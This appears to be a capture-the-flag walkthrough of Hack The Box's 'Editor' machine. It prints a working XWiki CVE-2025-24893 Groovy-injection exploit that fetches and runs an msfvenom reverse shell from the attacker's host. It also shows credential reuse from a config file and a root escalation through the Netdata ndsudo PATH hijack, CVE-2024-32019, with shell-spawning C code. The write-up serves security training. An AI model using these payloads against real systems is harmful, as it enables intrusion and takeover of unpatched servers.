Enumeration
Let’s do a port scan using Nmap to identify open ports, services and versions on the target machine. First find what’s open then digs deeper into those specific services to find their versions and other details.
Remember to add the domain editor.htb to the known domain file echo “10.129.64.75 editor.htb” | sudo tee -a /etc/hosts otherwise the second scan won’t be fully succesful.
# '-p-' to scan all ports
# '-sS' for a stealth SYN scan
# '-Pn' to skip host discovery
┌──(kali㉿kali)-[~/htb/editor]
└─$ nmap -p- -sS -Pn --min-rate=1000 10.129.64.75 -oN scans/ports.nmap
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
# '-sCV' to enable version detection and script scanning
┌──(kali㉿kali)-[~/htb/editor]
└─$ nmap -p22,80,8080 -sCV --min-rate=1000 10.129.64.75 -oN scans/versions.nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http Jetty 10.0.20
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
|_http-open-proxy: Proxy might be redirecting requests
| http-title: XWiki - Main - Intro
|_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-webdav-scan:
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
| WebDAV type: Unknown
|_ Server Type: Jetty(10.0.20)
http://editor.htb give us the following landing page for an IDE (But there is nothing interesting for our pentesting).
http://editor.htb:8080 give us an XWiki [Version 10.15.8] Documentation.
Exploitation
Searching in google I found that this version of XWiki is vulnerable to CVE-2025-24893 which is a remote code execution (RCE) vulnerability caused by improper sandboxing in Groovy macros rendered asynchronously. It allows arbitrary command execution through injection into RSS-based SolrSearch endpoints.
Github PoC by: Net.Doge & Infinit3i
# Download the PoC to our local machine.
┌──(kali㉿kali)-[~/htb/editor/exploits]
└─$ git clone https://github.com/Infinit3i/CVE-2025-24893
┌──(kali㉿kali)-[~/htb/editor/exploits]
└─$ ls -l
total 4
drwxrwxr-x 3 kali kali 4096 Aug 14 20:57 CVE-2025-24893
┌──(kali㉿kali)-[~/htb/editor/exploits]
└─$ cd CVE-2025-24893
┌──(kali㉿kali)-[~/htb/editor/exploits/CVE-2025-24893]
└─$ nano CVE-2025-24893-PoC.py
Remember not to run any code blindly. Always check before running it.
...
...
...
def build_full_bash_payload(cmd: str) -> str:
return (
f"cmd=$(echo -n '{cmd}' | jq -Rr @uri); "
f'curl -i "http://{REMOTE_HOST}/xwiki/bin/get/Main/SolrSearch?media=rss'
'&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d'
'%7b%7bgroovy%7d%7dprintln(%22$cmd%22.execute().text)'
'%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d" '
"| awk -F'}}}' '{ print $2 }' | awk -F'</title' '{ print $1 }'"
)
def send_encoded_command(cmd: str):
cleaned_cmd = cmd.replace('"', '\\"')
payload = (
"{{async async=false}}{{groovy}}"
f'println("{cleaned_cmd}".execute().text)'
"{{/groovy}}{{/async}}"
)
params = {
"media": "rss",
"text": payload
}
try:
url = f"http://{REMOTE_HOST}/xwiki/bin/get/Main/SolrSearch"
response = requests.get(url, params=params)
response.raise_for_status()
raw = response.text.split("}}}")[-1].split("</title")[0]
match = re.search(r"\[(.*?)\]", raw)
return match.group(1).strip() if match else "(no [brackets] found)"
except requests.RequestException as e:
return f"{RED}[!] Error: {e}{RESET}"
def generate_reverse_shell_payload():
print(f"{YELLOW}[>] Generating ELF payload using msfvenom...{RESET}")
try:
subprocess.run(
[
"msfvenom",
"-p", "linux/x64/shell_reverse_tcp",
f"LHOST={LOCAL_HOST}",
f"LPORT={BEACON_PORT}",
"-f", "elf",
"-o", "rev"
],
check=True
)
print(f"{GREEN}[+] Payload saved as ./rev{RESET}")
except subprocess.CalledProcessError:
print(f"{RED}[!] Failed to generate payload with msfvenom.{RESET}")
input(f"{YELLOW}[Press ENTER to return to menu]{RESET}")
return False
return True
def run_reverse_shell():
clear_screen()
if not generate_reverse_shell_payload():
return
input(f"{YELLOW}[Press ENTER to launch reverse shell on remote target]{RESET}")
cmds = [
f"wget -O /tmp/rev http://{LOCAL_HOST}:{SERVER_PORT}/rev",
"chmod +x /tmp/rev",
"/tmp/rev"
]
for cmd in cmds:
print(f"{YELLOW}[>] Sending: {cmd}{RESET}")
result = send_encoded_command(cmd)
time.sleep(5)
print(f"{GREEN}[+] Response: {result}{RESET}")
input(f"{YELLOW}[Press ENTER to return to main menu]{RESET}")
...
...
...
Run the script. Use option #3 in the main menu to change settings: Target host & local host. Then select option #2 to create a reverse shell.
┌──(kali㉿kali)-[~/htb/editor/exploits/CVE-2025-24893]
└─$ python3 CVE-2025-24893-PoC.py
===============================
XWiki CVE-2025-24893
Created by Net.Doge & Infinit3i
===============================
Target Host : editor.htb:8080
Local Host : 10.10.14.192
Server Port : 8080
Beacon Port : 31337
===============================
1) Run command
2) Reverse shell
3) Change settings
4) Quit
[>] Generating ELF payload using msfvenom...
[+] Payload saved as ./rev
# Create a python server in another tab.
[!] Make sure you\'re hosting the payload:
python3 -m http.server 8080
# Listen for the reverse shell with netcat.
[!] Make sure you\'re listening for shell:
nc -lvnp 31337
[Press ENTER to launch reverse shell on remote target]
[>] Sending: wget -O /tmp/rev http://10.10.14.192:8080/rev
[+] Response:
[>] Sending: chmod +x /tmp/rev
[+] Response:
[>] Sending: /tmp/rev
[+] Response:
[Press ENTER to return to main menu]
We have access to our reverse shell in the netcat tab.
┌──(kali㉿kali)-[~/htb/editor/exploits/CVE-2025-24893]
└─$ nc -lvnp 31337
connect to [10.10.14.192] from (UNKNOWN) [10.129.64.75] 43778
id
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
python3 --version
Python 3.10.12
# Upgrade the limited / non-interactive shell to a fully interactive one.
python3 -c 'import pty; pty.spawn("/bin/bash")'
xwiki@editor:/usr/lib/xwiki-jetty$
Post Exploitation Enumeration
Let’s find any interesting files for credentials since we can’t execute many useful commands with the xwiki user.
# Display all user accounts that have a Bash shell as their default login shell.
xwiki@editor:/usr/lib/xwiki-jetty$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash
XWiki uses several configuration files, primarily located within the WEB-INF directory.
The main configuration files are:
-
xwiki.properties: Newer and recommended file for XWiki configuration options. It is designed to eventually contain all XWiki configuration properties.
-
xwiki.cfg: Historical XWiki configuration file. While xwiki.properties is becoming the primary configuration source, xwiki.cfg still contains some configuration options.
-
hibernate.cfg.xml: Handles the Hibernate configuration for database connectivity.
xwiki@editor:/usr/lib/xwiki-jetty$ cd /etc/xwiki
xwiki@editor:/etc/xwiki$ ls -l
...
...
-rw-r--r-- 1 root root 16171 Jun 16 10:48 hibernate.cfg.xml
-rw-r--r-- 1 root root 25653 Jul 29 11:48 xwiki.cfg
-rw-r--r-- 1 root root 78535 Jul 29 11:48 xwiki.properties
# We found a MySQL connector with plain text credentials.
xwiki@editor:/etc/xwiki$ hibernate.cfg.xml
...
...
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&...</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
...
...
MySQL Login works but there is nothing interesting tho. Let’s try SSH Login.
┌──(kali㉿kali)-[~/htb/editor]
└─$ ssh oliver@editor.htb
oliver@editor.htb's password: theEd1t0rTeam99
oliver@editor:~$ ls
user.txt
oliver@editor:~$ cat user.txt
871d7fa9a521665423a4c28acddd6807
Privilige Escalation
First, let scan the system with LinPEAS to find potential privilege escalation vectors.
# Download the LinPEAS script to our local machine.
┌──(kali㉿kali)-[~/htb/editor/posts]
└─$ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250801-03e73bf3/linpeas.sh
2025-08-14 21:49:12 (503 KB/s) - ‘linpeas.sh’ saved [956174/956174]
┌──(kali㉿kali)-[~/htb/editor/posts]
└─$ ls -l
-rw-rw-r-- 1 kali kali 956174 Aug 1 00:07 linpeas.sh
# Creating an http server to share the 'linpeas.sh' file.
┌──(kali㉿kali)-[~/htb/editor/posts]
└─$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
# Download the LinPEAS file from our local HTTP server to the target machine.
oliver@editor:~$ wget -O /tmp/linpeas.sh http://10.10.14.192:8080/linpeas.sh
2025-08-15 02:50:45 (889 KB/s) - ‘/tmp/linpeas.sh’ saved [956174/956174]
oliver@editor:~$ cd /tmp
oliver@editor:/tmp$ chmod +x linpeas.sh
# Execute the LinPEAS script.
oliver@editor:/tmp$ ./linpeas.sh
╔════════════════════════════════════╗
══════════╣ Files with Interesting Permissions ╠═══════════════
╚════════════════════════════════════╝
-rwsr-x--- 1 root netdata 196K Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (Unknown SUID binary!)
We have found a potential privilege escalation vector [CVE-2024-32019]. The ndsudo tool is packaged as a root-owned executable with the SUID bit set. It only runs a restricted set of external commands, but its search paths are supplied by the PATH environment variable. This allows an attacker to control where ndsudo looks for these commands, which may be a path the attacker has write access to.
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
nvme : not available in PATH.
# Download the PoC script to our local machine.
┌──(kali㉿kali)-[~/htb/editor/posts]
└─$ git clone https://github.com/AzureADTrent/CVE-2024-32019-POC
┌──(kali㉿kali)-[~/htb/editor/posts]
└─$ ls
CVE-2024-32019-POC linpeas.sh
┌──(kali㉿kali)-[~/htb/editor/posts]
└─$ cd CVE-2024-32019-POC
┌──(kali㉿kali)-[~/htb/editor/posts/CVE-2024-32019-POC]
└─$ ls
poc.c README.md
┌──(kali㉿kali)-[~/htb/editor/posts/CVE-2024-32019-POC]
└─$ nano poc.c
Let’s check the code we are about to run.
#include <unistd.h>
int main() {
setuid(0); setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
Go ahead with the exploitation.
# Compile the code to a file named nvme.
┌──(kali㉿kali)-[~/htb/editor/posts/CVE-2024-32019-POC]
└─$ gcc poc.c -o nvme
# Add the /tmp directory to the PATH environment variable.
oliver@editor:/tmp$ export PATH=/tmp:$PATH
oliver@editor:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
# Send the script to the victim machine using SCP [ Secure Copy Protocol ].
┌──(kali㉿kali)-[~/htb/editor/posts/CVE-2024-32019-POC]
└─$ scp nvme oliver@editor.htb:/tmp/
password: theEd1t0rTeam99
oliver@editor:/tmp$ ls -l
-rwxrwxr-x 1 oliver oliver 16056 Aug 15 03:11 nvme
oliver@editor:/tmp$ chmod +x nvme
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
# We have a root shell!
root@editor:/tmp# cd ~
root@editor:/root# ls
root.txt scripts snap
root@editor:/root# cat root.txt
429fd750cd63b0f4c66c549e67941f9b